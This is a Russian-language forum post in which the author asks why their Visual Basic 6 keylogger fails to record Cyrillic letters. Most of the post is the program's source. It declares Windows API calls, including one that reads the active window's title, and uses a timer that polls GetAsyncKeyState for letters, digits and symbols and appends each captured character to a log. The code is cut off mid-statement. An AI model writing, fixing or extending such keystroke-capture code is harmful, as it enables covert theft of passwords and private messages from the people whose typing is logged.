В процессе разработки возникли один большой глюк Английские буковки он пишет а русские нет НО! если убрать в куске кода строчку If keyvalue = -32767 Then .. русские буквы будут записываться но почему то все сразу Кто знает как этого избежать ?? For i = 192 To 223 keyvalue = GetAsyncKeyState(i) If keyvalue = -32767 Then If (CapsKey = True And ShiftKey = False) Or (CapsKey = False And ShiftKey = True) Then txtKeyLog = txtKeyLog & Chr(i) End If If (CapsKey = True And ShiftKey = True) Or (CapsKey = False And ShiftKey = False) Then txtKeyLog = txtKeyLog & LCase(Chr(i)) End If End If Next i
Привожу код проги модуль Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Public Declare Function GetForegroundWindow Lib "user32.dll" () As Long Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Const WM_USER = &H400& Public Const WM_CLOSE = &H10& Public LastTitle As String Public Function GetCapsState() If GetKeyState(vbKeyCapital) = 1 Then GetCapsState = True Else GetCapsState = False End If End Function Public Function GetShiftState() If GetAsyncKeyState(vbKeyShift) = -32767 Or GetAsyncKeyState(vbKeyShift) = -32768 Then GetShiftState = True Else GetShiftState = False End If End Function ФОРМА Private Sub Timer1_Timer() Dim ShiftKey, CapsKey As Boolean ShiftKey = GetShiftState CapsKey = GetCapsState
'Check for alphabet For i = 65 To 90 keyvalue = GetAsyncKeyState(i) If keyvalue = -32767 Then If (CapsKey = True And ShiftKey = False) Or (CapsKey = False And ShiftKey = True) Then txtKeyLog = txtKeyLog & Chr(i) End If If (CapsKey = True And ShiftKey = True) Or (CapsKey = False And ShiftKey = False) Then txtKeyLog = txtKeyLog & LCase(Chr(i)) End If End If Next i For i = 192 To 223 keyvalue = GetAsyncKeyState(i) If keyvalue = -32767 Then If (CapsKey = True And ShiftKey = False) Or (CapsKey = False And ShiftKey = True) Then txtKeyLog = txtKeyLog & Chr(i) End If If (CapsKey = True And ShiftKey = True) Or (CapsKey = False And ShiftKey = False) Then txtKeyLog = txtKeyLog & LCase(Chr(i)) End If End If Next i 'Check for numbers keyvalue = GetAsyncKeyState(48) If keyvalue = 32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(48) Else txtKeyLog = txtKeyLog & ")" End If End If keyvalue = GetAsyncKeyState(49) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(49) Else txtKeyLog = txtKeyLog & "!" End If End If keyvalue = GetAsyncKeyState(50) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(50) Else txtKeyLog = txtKeyLog & "@" End If End If keyvalue = GetAsyncKeyState(51) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(51) Else txtKeyLog = txtKeyLog & "#" End If End If keyvalue = GetAsyncKeyState(52) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(52) Else txtKeyLog = txtKeyLog & "$" End If End If keyvalue = GetAsyncKeyState(53) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(53) Else txtKeyLog = txtKeyLog & "%" End If End If keyvalue = GetAsyncKeyState(54) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(54) Else txtKeyLog = txtKeyLog & "^" End If End If keyvalue = GetAsyncKeyState(55) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(55) Else txtKeyLog = txtKeyLog & "&" End If End If keyvalue = GetAsyncKeyState(56) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(56) Else txtKeyLog = txtKeyLog & "*" End If End If keyvalue = GetAsyncKeyState(57) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & Chr(57) Else txtKeyLog = txtKeyLog & "(" End If End If 'Check for miscellanious keys keyvalue = GetAsyncKeyState(219) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & "[" Else txtKeyLog = txtKeyLog & "{" End If End If keyvalue = GetAsyncKeyState(221) If keyvalue = -32767 Then If ShiftKey = False Then txtKeyLog = txtKeyLog & "]" Else txtKeyLog =
Ответить
|